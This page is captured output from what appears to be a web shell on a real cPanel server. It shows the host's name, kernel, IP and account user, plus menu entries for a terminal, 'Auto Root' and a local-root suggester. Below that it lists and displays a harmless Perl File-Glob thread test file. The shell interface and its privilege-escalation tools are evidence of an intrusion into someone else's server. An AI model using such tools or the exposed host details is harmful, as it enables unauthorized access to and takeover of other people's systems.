Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
File-Glob /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
basic.t
7.9
KB
-r--r--r--
2014-12-27 11:48
case.t
1.04
KB
-r--r--r--
2014-12-27 11:48
global.t
1.73
KB
-r--r--r--
2014-12-27 11:48
rt114984.t
650
B
-r--r--r--
2014-12-27 11:49
taint.t
540
B
-r--r--r--
2014-12-27 11:48
threads.t
1.55
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl BEGIN { chdir 't' if -d 't'; @INC = '../lib'; require Config; import Config; if ($Config{'extensions'} !~ /\bFile\/Glob\b/i) { print "1..0\n"; exit 0; } } use strict; use warnings; # Test::More needs threads pre-loaded use if $Config{useithreads}, 'threads'; use Test::More; BEGIN { if (! $Config{'useithreads'}) { plan skip_all => "Perl not compiled with 'useithreads'"; } } use File::Temp qw(tempdir); use File::Spec qw(); use File::Glob qw(csh_glob); my($dir) = tempdir(CLEANUP => 1) or die "Could not create temporary directory"; my @temp_files = qw(1_file.tmp 2_file.tmp 3_file.tmp); for my $file (@temp_files) { open my $fh, ">", File::Spec->catfile($dir, $file) or die "Could not create file $dir/$file: $!"; close $fh; } my $cwd = Cwd::cwd(); chdir $dir or die "Could not chdir to $dir: $!"; sub do_glob { scalar csh_glob("*") } # Stablish some glob state my $first_file = do_glob(); is($first_file, $temp_files[0]); my @files; push @files, threads->create(\&do_glob)->join() for 1..5; is_deeply( \@files, [($temp_files[1]) x 5], "glob() state is cloned for new threads" ); @files = threads->create({'context' => 'list'}, sub { return do_glob(), threads->create(\&do_glob)->join() })->join(); is_deeply( \@files, [@temp_files[1,2]], "..and for new threads inside threads" ); my $second_file = do_glob(); is($second_file, $temp_files[1], "state doesn't leak from threads"); chdir $cwd or die "Could not chdir back to $cwd: $!"; done_testing;